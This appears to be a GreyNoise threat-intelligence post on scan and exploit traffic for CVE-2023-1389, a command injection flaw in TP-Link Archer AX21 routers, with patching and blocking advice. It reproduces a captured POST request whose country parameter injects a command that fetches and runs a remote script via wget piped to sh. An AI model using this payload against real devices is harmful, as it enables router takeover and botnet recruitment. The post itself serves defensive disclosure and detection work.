Today, in collaboration with our partner Trinity Cyber, GreyNoise has a new tag for scan traffic related to CVE-2023-1389, a pre-auth command injection weakness in TP-Link Archer routers.

TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.

The following is a sample of traffic related to these exploit attempts.

POST /cgi-bin/luci/;stok=/locale?form=country
HTTP/1.1Host: [redacted]
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 60
operation=write&country=$(id>`wget http://zvub[.]us/y -O-|sh`)

There has not been an observed, successful injection detected to-date, so we have published a “scan/crawler” tag — TP-Link Archer AX21 Command Injection Vulnerability Scan — to help organizations identify this activity and will be working closely with Trinity Cyber and other partners to identify successful exploit attempts to help identify successful malicious mass exploitation attempts.

Tenable initially identified this weakness, and has confirmed that successful exploitation is only likely across WAN interfaces under rare conditions. The Zero Day Initiative (ZDI) has also detected exploit activity and has suggested that their telemetry indicates that the Mirai botnet has updated its arsenal to include this new exploit. They further indicate that exploitation across the WAN interface will likely be difficult, but not impossible

Organizations should work to patch any known, official deployments of these routers and advise their remote workforce to ensure they apply the appropriate vendor updates as soon as possible if they have them installed at their remote location(s).

Our engineering team is performing a retroactive tagging exercise to determine if we have seen mass exploitation attempts within the previous ninety days. However, Trinity Cyber has shared that they have observed actively engaged in current exploitation attempts.

GreyNoise suggests that, where possible, organizations block this IP address and use our hourly-updated block lists to help keep their infrastructure safe from mass exploitation attempts.

We will provide an update once we have a tag for a confirmed, successful malicious activity for this vulnerability.

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This article is a summary of the full, in-depth version on the GreyNoise Labs blog.
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